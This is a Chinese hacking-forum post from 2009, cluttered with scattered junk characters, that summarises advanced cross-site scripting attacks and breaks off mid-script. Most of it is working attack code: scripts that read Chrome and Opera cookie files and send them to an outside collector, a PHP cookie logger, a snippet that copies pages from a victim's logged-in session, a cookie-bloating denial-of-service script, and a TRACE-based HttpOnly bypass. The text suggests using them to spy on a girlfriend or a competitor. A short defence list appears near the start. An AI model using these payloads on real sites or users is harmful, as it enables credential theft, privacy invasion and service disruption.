XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
% r9 {8 s8 P7 B本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页7 N+ k. b% ]0 e
By racle@tian6.com 6 k1 g$ j1 n1 h4 E$ d
http://bbs.tian6.com/thread-12711-1-1.html- w! H: G6 i; k3 ?5 B
转帖请保留版权
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* W U/ U" x! e' x3 L, A# |! p-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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% s5 F) Q5 M. e5 @! u如果你还未具备基础XSS知识,以下几个文章建议拜读:3 E: g" d/ x5 i: {
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
1 c& G, h5 q$ y2 }http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
6 m% X6 K. r7 Vhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
$ v0 B6 v* _ i. H* l6 mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
4 L1 M4 c& U0 c0 Lhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
# G- b% y9 w& E% c3 x9 bhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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( z! y0 ^$ T3 \希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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R x2 \+ k: o1 G如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化, ]5 N: g5 P2 z$ D: @
7 L; g4 e' W1 T7 ~6 ZBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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- f. {0 W! d1 G2 W2 WOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪% {4 l' K9 {- j2 S" i- ]; P
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: a' f$ M. L& o" E2 I0 B: R+ ^复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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! ]& D" c, p# W跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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9 W- a% X8 L2 u0 W如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.9 p6 l; t; o+ E0 _) y6 b
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.+ ? I7 a# D- ]4 g& j4 p
我们在这里重点探讨以下几个问题:/ `- E, \" a: P8 s. w& I0 d) h9 `% u) y
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.. U) H8 N9 o& |1 [$ K) r
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2 o k. ^2 X0 a2 p7 e------------------------------------------研究正题----------------------------------------------------------5 \- J1 |, I) R, y$ u- e
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0 K' I5 r5 c; o& B2 x通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
& l- E9 {, T7 F2 O/ C+ B复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫" A; [. V- l: A# O
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
( C: {+ F0 I# v* P* g m1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
8 M% Y% o( @6 J% I- @) s3 H2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
! R! _. T O2 m& a2 k {: U3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.9 m9 F: T5 z0 h
4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)2 n* {. y- l( |7 G# m. F+ t
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% n! z c b1 g; u 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。, m7 s1 B. r% m! U3 `
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4 \! @1 I! q7 b 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function ajax_obj(){" I# J1 u2 }& I& o; A2 p
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var request = false;
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if(window.XMLHttpRequest) {0 P9 g. [- g" B- W2 c M
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {7 I" n( T) t" ]3 X. [
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',3 g7 R* |! @" B1 B& P: b; k" y" x2 t# r
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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return request;$ g; t: |& T; A6 q7 x/ H7 {
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var _x = ajax_obj();
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");. O& C+ d, u) d! ^% I
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return _x.responseText;# H, l9 b; M4 m
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alert(txt);5 w4 j. |' g" ]& O* H# b
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2 _2 k/ l$ E- Q </script>( C5 l; x+ U3 \
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}0 k1 C9 p( [; x4 S1 q/ t
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var request = false;
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( p4 y7 s. e4 l( b( T if(window.XMLHttpRequest) {: b/ R' b' k1 ^- i) `6 Y
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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request = new ActiveXObject(versions);: ]# g/ P2 h# h
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} catch(e) {}% Q. }5 O' z6 f) i
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return request;
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; [3 T0 Y% S1 O$ W9 Z$ J+ T% t; d _x.open(_m,action,false);# k& f2 D2 l' ~5 u
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”8 K6 o! G; [5 s1 \! t r: [3 c0 F1 _
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net ) Z$ T$ d. @* g8 I7 ^
( p# U" P0 T6 M5 ~+ t8 w author voidloafer@gmail.com 2009-4-22
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4 y: T I! G! l! p' u http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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- Q; e& s% ]$ c8 D2 q! fheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/*
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*/ . {% s5 K. C# ]9 _% y0 E
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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% ^7 B: }9 a3 _ T1 D1 b <input id="input" name="cookie" value="" type="hidden">
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" E2 V2 e9 a* V- h( D</form>
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<script> ! v3 T: e8 B3 i+ T" J
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function doMyAjax(user)
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{
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# |8 A1 W) H7 `* u, ovar time = Math.random(); O" w. |5 y5 r
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/* + N7 O4 y/ @0 d
% n* f# Q6 C( p, o1 Nthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 4 q) `& [( T9 O5 W A. W
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 9 y6 S+ L4 a- ~5 n, h2 i* f& a
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*/
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$ u. Y0 h2 D( H+ ]& [6 k A) R& X& Gvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; ' N) S G% m$ H9 X/ |6 C. D
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startRequest(strPer); ' d8 h; R+ ^6 t! U; |$ v7 O7 p
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4 K2 d% ^$ q; X6 Y* }$ M! X}
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function Enshellcode(txt) 2 {$ m/ j# N8 ^
' r8 s* w" y+ v{ . T, q( ^1 W4 g. k. z
4 @2 l2 d5 F- O$ r' m8 bvar url=new String(txt); . H! q1 N, A4 _. B8 f) V# I. {( ~0 w
& u* ] E9 Q5 Y0 @6 K: D" zvar i=0,l=0,k=0,curl="";
3 H0 a- n* C/ F; }- ^$ ~+ } i+ L# [% q9 y3 g5 E
l= url.length; 7 D% s' W% X8 @ k7 b1 `
3 z8 H% _/ y' `for(;i<l;i++){ 7 a; r. ?" m) X d, j1 t+ ]+ G0 b
. F2 ]8 G; h4 [9 Z; M: Jk=url.charCodeAt(i);
; T- `0 S/ @. a% j9 ]% F' d- s( K% W/ _5 g H
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
, f+ P2 \+ a/ P( u( M3 N! W- X
( Y- e: t2 q/ P" ^if (l%2){curl+="00";}else{curl+="0000";} ) |- m3 Z5 r( W7 z1 O) V
8 E. I4 F( N R
curl=curl.replace(/(..)(..)/g,"%u$2$1");
3 V+ T# e e' M3 J7 f" z2 i; Q1 G3 P4 w6 Q5 U0 i
return curl;
0 ?$ ^5 x- a( ^ \! |0 P6 V7 y4 V. W* i% u7 l. T
} 9 ~$ m8 ]" ^. I% F6 t
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9 `+ j0 b3 m& l3 N9 k( V
. `1 O* A: C: x, r
: r! ]/ [* U: k
1 t6 ?2 _) l; p. g, P5 tvar xmlHttp; 4 V9 s8 S' i+ ^5 h
* }+ \8 I7 x w, R/ mfunction createXMLHttp(){ 8 U( o& z% Q& Z; \- n/ m
/ C0 H; d5 @+ W/ K( X1 G
if(window.XMLHttpRequest){
: s# R& T* a* h9 V: |6 C$ M1 W0 |7 `4 `# Q5 [* Y/ ^! ~
xmlHttp = new XMLHttpRequest(); 3 n4 k7 n' R& ?& Z( V7 n, r
! [' R0 Z# ~/ a9 p3 ?) o
}
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else if(window.ActiveXObject){ 6 c- d: c9 `, x5 K4 a* h
4 K& M( e5 H- Z5 { {; U! D! f
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); v' a1 Q9 D' e; A2 c
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} + _7 I- m& I+ R# i7 _4 l, l
% g! [8 ?4 {- y/ J5 [; e7 B
}
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( n) ^+ s. [1 n j$ L4 ?
; b$ H: a' B" Q3 Hfunction startRequest(doUrl){ 0 E& l$ E" G$ B _6 L5 y
' \. E3 o8 i/ f. P7 b3 z 6 W& Y' w# Z, M- e" @3 C: u6 J
6 D5 |! e# v1 j5 g$ V2 e$ A createXMLHttp(); $ f1 }$ Z2 }" ?" c
0 i0 Q% f8 h5 U8 ]# ?% l) b6 X7 _1 o4 L" }) H0 V. n
6 T; n/ A; [( V8 A) j/ M xmlHttp.onreadystatechange = handleStateChange; * j0 i# J4 m: r4 v( m
6 o9 w0 A: m* P8 U
6 B! i( A; q; Y1 l; D
: e$ O: p# P" K' l8 { xmlHttp.open("GET", doUrl, true); % W6 y- q4 f% v% S/ T
- j9 J2 s- @* F) |1 N. N5 H' ^6 B% y
5 t0 X3 a4 L9 l# W: \ xmlHttp.send(null);
% b4 m/ Q: l; k$ ?" E
6 r5 X/ [8 T0 A
l, i9 z2 E& D" m9 j: d/ R" p" U# L* l1 ^3 B& u9 K. ?
3 x& L9 x* ]/ R6 f) L4 U; a Y
, w9 y1 p+ a4 t; |}
# A, i0 u) L. [! l/ v6 X. j9 w, N1 O; j( `1 b6 E
5 Q" @* h2 c1 J- F8 q6 _1 M1 X) r, k9 K
% S. q. x7 p* i" Q3 T- N
function handleStateChange(){ + M5 E! D6 E0 W+ M+ d5 w
! S' a3 W6 S8 q6 o! J if (xmlHttp.readyState == 4 ){ - ^ b- F6 V0 e* N9 Y
. s! G# `% q9 k. q/ b0 D$ B$ F$ \ var strResponse = ""; - @* @$ k! c* ~
8 z' P6 M) S0 q setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 0 H; v7 N) H. @4 u
0 l$ h Y" a; t
1 {3 ^2 U$ B2 v: Y* W+ K
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} 5 F" ?. {! |) y! H3 `
" l: ]: e$ M- Z0 g2 h! {}
- J# R8 i( D9 E. c9 U4 L$ h' \+ V: ?% x7 i1 Z
i) X1 ?3 p4 R5 B! }9 ^
9 h3 L. j9 S3 F/ a% n ; f$ h& l( w7 N% Q1 U- r, K- Z' l
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function framekxlzxPost(text) ; S3 b& h" g1 L+ S5 ~( g) |
( P9 |/ s3 j. I% `) b8 D: W
{
% v( z# L& t0 n' f2 C) r$ Q- Z5 A! W1 T; o8 A
document.getElementById("input").value = Enshellcode(text);
' Z% R4 T5 {' \+ I/ b2 D3 C' J q5 ]6 i0 g2 ~4 |# l( Z. @
document.getElementById("form").submit(); , p5 T- v* L5 `2 ]
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} . ~1 R. u( n& T6 J1 T
' \9 G+ o( K2 g r- V
! c0 z$ Q" A$ A9 P1 q8 o3 A$ r
/ W- e5 E; _; i; S7 adoMyAjax("administrator");
c' n4 V! Z6 Y }8 V' K3 i$ t- S$ p6 q W8 U9 i
& L% K' _, e% _7 Y3 o1 p# {* ]6 K4 u2 W5 G, ? x! f* H
</script> J) M+ P" q0 `
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> + ]7 _, R# C* d3 J; R9 P5 K
! t/ {9 b& a' l9 R, Z, [var xmlHttp; 8 o0 m8 W& T* M( U
- t1 }% y) x6 Q& G& M
function createXMLHttp(){
9 f& o( k; y8 a/ X/ E: S' S; {& i1 E& Z3 H3 B( T- x4 ?
if(window.XMLHttpRequest){ ' m( l8 s9 U7 z1 y
9 f* P) k, P1 r1 a* V2 h4 ~ xmlHttp = new XMLHttpRequest(); ' }+ D9 ^% e' Y: [8 K! \' A) D
1 @" I5 B1 ]6 `2 a' X9 O8 M }
1 V7 e8 l ~ q9 B
# B: o9 B4 f4 B o) C/ V4 [ else if(window.ActiveXObject){ 0 ^% b* k+ S$ |; o$ m
" r- W: t7 J* p# v: {) w" i' U) ` ~ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
! Y+ ^, e% y/ I, N: A7 f& _. j7 r% T3 H& g5 b$ H
}
9 a! m _. N, J3 N6 g; s$ r3 p( P0 d
} 6 t% b+ V( k+ ^- r$ }2 ^* D
9 [1 b) p. [& o ~6 y, D
% B% ?- \' M# d% u: _# c- u) B" i6 L+ F( |3 {
function startRequest(doUrl){ 3 h: o" j/ [( u/ M, A5 }
9 D; @: h8 W% a
7 a4 @. c% Q" w3 H& Z! E5 u; V7 i7 v+ v7 v4 J8 I* J% i6 A) ^
createXMLHttp();
0 w9 c1 S- \' H- @1 X
' j) c q I# L) U2 l* G% a8 j
; V s* @0 m8 ]: N# @- g3 C8 T7 [4 @* ^, ^, W- s& ]/ D- N
xmlHttp.onreadystatechange = handleStateChange; " n, k2 b" s' F; c- T
7 u/ l; |+ o% p+ M
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xmlHttp.open("GET", doUrl, true);
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8 y- ~% M6 w: u; R
* O/ F7 E& M4 W8 O* z4 F) ~" [$ N$ U3 h- q0 t0 u8 P
xmlHttp.send(null); 0 u' p5 b& Y0 I P" u5 `
5 \$ T9 ?6 \1 D/ W8 X
1 n1 g S5 a( s- S$ m' C' B- z4 r* Z u2 F& Y5 E% T+ `
9 `1 E9 e4 G/ w! n* w3 G5 y; @% P
8 `1 a, V6 l; v7 w) [: |}
8 D! G9 d" i" e* `
4 a$ D- T# f8 z: ^+ C' ?* S ^3 Y9 s% A 0 c# o# p* w; M4 M
' A. k! G% W( p$ u, j4 [
function handleStateChange(){ 3 h9 H- C+ e% U4 U( L- ]
0 X9 Z0 T5 W7 N1 i, H& g. d6 j if (xmlHttp.readyState == 4 ){
8 G! c* |" g8 I' ^& z2 i6 A2 K" T$ O$ {! d) X8 E
var strResponse = ""; 2 i+ w6 K3 u8 H+ c+ F7 s
7 L8 x( p2 n- i setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 3 C5 j0 w7 p# k0 @
1 r6 e3 a7 q! X/ [$ C0 C
9 f) m: d) K) a4 S3 `" u
$ U! a" H. @( \1 m& x" u& {3 T } # ~0 `) n" {: i3 R
0 z( }9 W! u5 \" U}
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: v; Q& T' k/ d. q* l; f
; Y X9 r4 o: Z, U6 b' rfunction doMyAjax(user,file)
a; A' L5 I, h) y4 v- X9 B$ ]1 t; y2 K7 c
{ ( S4 ~' W2 j) Q% y6 D% t5 B/ h
* z# {3 {, `' r3 S/ ` var time = Math.random(); 6 L& p+ w, p% S: H$ s
/ l7 S5 R9 \. A7 R& r3 {# C2 W ! W# r3 K6 P: J j
$ _" a7 _( k/ ~# z5 p
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
8 u1 E* N1 y9 P+ {8 [, J
+ C8 o; |' l0 E8 U% v
/ y/ }! G1 [! q- o( r( ]' M
. d5 K7 Z* q" s5 B3 i startRequest(strPer); . E7 W; Z+ s* F0 ~, ~( w" L5 i& m
8 _% g! O: W9 B7 M0 e, G
# Z/ W8 Y6 r( n M9 a J# R% E4 d( ~3 {1 [3 {
}
4 I# W' @* R* M7 a; e9 O" b5 t, a6 I/ v! `1 T7 y0 G6 `# q; x% S" o
2 V4 V2 u" D- [/ {; W% M) N* f
+ R! _& ^# f# E' r( o; S
function framekxlzxPost(text)
. s v% C7 j0 O/ D- }* b! y; P/ s; {2 f, G, _4 q
{ ; x+ ~/ O# {0 a0 N
# o& J! u0 {7 @$ G document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ' q* D; O; b* A; x1 o$ y! P
3 w+ A7 @& A; L1 w" w- [& r6 [ alert(/ok/);
9 a" c. M7 v) X' L$ m2 X2 i, F: ?3 L
}
3 L Q; c' l3 P5 |& E, n+ V% D: L9 N- q) L5 D5 V+ T
2 {+ h7 H6 w1 q5 K, i1 D: m/ l1 ?# K* a! \8 u
doMyAjax('administrator','administrator@alibaba[1].txt');
1 J2 v3 R2 D- i1 |
) g+ b, {# A6 @$ Y2 N2 @/ m& }3 w% Z5 R
4 i5 v1 w# l; W% z L# p. f- R t
" P6 z7 N4 W" A1 j</script>
! U. ?& E( P' J2 I' J; R6 X
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9 D' R( Z* x! t8 H, x; W- t; H. w" y) ]& ? G2 ]% b2 V
0 U' S# } u0 H2 V8 ~7 s! [$ G' S0 ]7 o& t6 F" e
a.php7 M- |# v, N1 e% K
( R+ o3 U5 M+ T) m/ |. ^' s1 i! w! y( y$ s
. c% G2 U, }) A" Q<?php
* J& x* f0 }& i4 {% ?1 o6 Z7 N2 k4 G4 [& R* n- c% D
5 Q- S; b/ ^+ d/ p9 W! b& Z' `. F( S( b
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 3 z% r `) z8 x
* L% U7 N( C# b+ V: y2 i7 ^ F# f: i' D$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
1 n! [8 C9 n4 M8 Y# I' ]* b3 U$ i4 I9 y' L
6 a7 J: k J# h: a, C9 b
2 i1 {+ x4 Q6 ]+ D: ?$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 4 v' y5 h- ^2 M( L
h# N- \9 l7 \9 S( z) \9 Hfwrite($fp,$_GET["cookie"]); - m" N" H7 F" U0 U
8 b4 |( Y6 [. ^: K+ c4 m5 V
fclose($fp);
5 o8 h% H0 c0 x3 H7 x$ D0 h
3 |% z( z3 g- ^! @ C2 k$ F+ U?> 7 \) c* `+ d: A0 \, q/ S
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 X3 A# i- x- g1 U- [ F利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.) F/ \" r( n: _1 [& }
& a' v. l& `3 |* n( L8 J$ M# k2 c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);% J7 ?- f- H% y% W& _
- T' j& b8 W) Y( d//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
4 x' k' J1 E+ C4 b( T/ T2 _" K+ J- N4 u. Y. u
function getURL(s) {5 [( M2 p- C9 M8 `+ M( n+ g
: @- l! n( i( |* L. N# Pvar image = new Image();' t* D/ R. l, s, Q
* N% ]9 g5 a/ l4 n2 a& g. z
image.style.width = 0;
6 {* o7 V. g$ y& Y$ m0 Z! N* ]: Q5 f0 D
image.style.height = 0;
1 N! V/ `4 f. @$ b+ G6 a; _% i
8 ~2 d- e2 j+ Q* Dimage.src = s;
n! V: O) A8 U" |( G1 r% k+ A* A
" x0 {* O9 g9 Q+ i/ y}. N f) p9 X' X; U7 P- }0 f
7 H$ [6 K: V& @( jgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);/ {. Q3 q2 P C! b/ c
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
& F! `3 I+ \+ l6 c/ u$ z8 N这里引用大风的一段简单代码:<script language="javascript">
+ U- t6 o7 n: m& z* R
5 y `# c, D6 V! T6 h, Vvar metastr = "AAAAAAAAAA"; // 10 A/ q. F# H& E) t6 g
$ t" H9 d8 M2 R- G3 \1 E1 Svar str = "";
( B/ f; g- a X$ l8 T! P2 ]0 c
0 H# |$ y4 d: {8 [while (str.length < 4000){
, U7 p" l7 X3 y7 v
3 b* ]: H' g( C* E str += metastr;
5 u5 {' ^5 G$ p4 H% M6 L
4 G% U- M5 e. }# Q8 z7 k! q}
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" `! b* l6 Q( M9 [/ A% p6 R# e
$ M( d3 q3 |# |3 [7 U4 g
8 Y& z( n8 d3 V' ]6 Kdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>8 N* ~; U" H: M4 M
" M- ?% L1 q7 @( k7 q: {
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 i# {$ y2 }2 F* \, u4 K% a复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' m7 l! p& S# M( Q- k+ k' Z Lserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150; R: r4 M P0 u' `+ _
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
: c2 |( K, s& V, z% o& Y; K: I攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.& ^: a8 S }' h" p& c' n" s4 V
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9 U+ U. R: i* m# H9 d
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(III) Http only bypass 与 补救对策:9 U" v( F+ O6 N0 t" A/ {' Y
* d& X( J% ]/ E! {: @! Z+ _什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.* {' v$ ^+ {; q& y& y
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ X8 U- V& q. w: J2 Y0 Q0 [% R$ I( A/ `. s2 u+ i, q3 M6 d* l6 F9 g
<!--% H6 o) `% d& \1 q/ l. ~; W
p# G" c+ g' v: E. ~ x5 mfunction normalCookie() { * A, m3 S0 q/ m! Y( D0 E
: }3 j- i* Y0 x
document.cookie = "TheCookieName=CookieValue_httpOnly";
' |3 v5 q6 Z% Y; |. [' V
* P. f- y8 E0 G) Falert(document.cookie);
, K& _2 A2 ]1 L! [. P `6 C" l$ v* f& o$ w# D
}
+ }/ o; e9 U8 j$ K4 Z$ k! X, _) o" Y+ H( p
6 I- H. R1 ^. t# c: G
* d5 P8 b% H2 t3 |
% S. _, c9 [. |, Q6 w
' |* s6 l, k& y7 j5 E' Ofunction httpOnlyCookie() {
0 o& A& `$ S/ X& ]6 C
0 d3 N: ?' w& x; F) b2 Z8 ~) Rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ) O. m; m U, V" h2 s
$ p; Y! L) a' f$ Q1 V1 dalert(document.cookie);}
' O: R( s& u+ S* l {1 C" N5 G. C
4 s7 a& b, x( C& ?
; b+ @) D# x1 G, T$ }$ ^8 {//-->
0 q+ N7 P3 ?/ f$ ^) U1 ^# F/ p/ v; z% I6 z. m
</script>
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# F. N G2 u0 q' T0 E
% R) }" N0 Z9 R' L# Y4 |* c
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM> R3 S2 i0 D. Z4 I
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
2 Y7 ]4 P8 ]; D- c! Y
1 x y5 X5 C. `* G3 p. X X! ~# J9 W, J/ B
. L+ a( Y+ Z- y$ i8 avar request = false;. t; S& w: ~4 j. z# z: h7 ^5 T
+ @! H! D/ Q9 l% ^
if(window.XMLHttpRequest) {! ?) X9 e" |) }- ?! l: t
/ y+ {$ Y% y0 D# j% u& ?' _
request = new XMLHttpRequest();/ C ^) n. j- U6 k
. L5 V) a2 [3 j+ O6 B" `8 ^ if(request.overrideMimeType) {) _" }9 z) m5 f; D( t( t+ x
$ Z7 |0 I1 ~, B: @! K
request.overrideMimeType('text/xml');3 m+ f( g% F& l" f" h( O6 c4 `4 a
! B p4 \% b% o6 p1 a
}
6 Q# i ?& s1 E8 U( I3 {( j+ v' K- x- @) q3 |! l
} else if(window.ActiveXObject) {$ L$ b2 J! ~6 z* x; s9 L J
0 u9 @: H$ o2 \5 Z S( P
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];5 r: w; f9 a; h- b
5 z; e. j, o( U# s0 V! E# x) \' }
for(var i=0; i<versions.length; i++) {
{3 Y" [ ?- e8 S" m: z
! P3 y* v5 ~6 \ try {
- U X V) O1 q5 ~. \% c
/ J$ y* r' t1 W7 K, D% E: l request = new ActiveXObject(versions);
3 }& X- F" H% u8 D0 f3 q! J5 Q/ a3 }3 R+ ^) h/ Q. p
} catch(e) {}7 I) l9 b( w# R
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}' J& H, U4 t) Q- ?- \" s
4 ~) d; k$ k Z6 ~6 W
}% K6 q! s B+ c) h- O+ W
3 y4 b. }6 i- P XxmlHttp=request;
" {% q7 h4 M8 S; x* @1 A- U( P# ~4 j; R; W: I4 v3 B" C
xmlHttp.open("TRACE","http://www.vul.com",false);, g9 W3 [9 v, m5 y
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xmlHttp.send(null);
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5 v$ j ]' r3 w l9 d# J' XxmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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</script>4 b5 o0 r; M! f, Y* y. O
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>: Z# J" D. s6 D/ {! h4 A- b
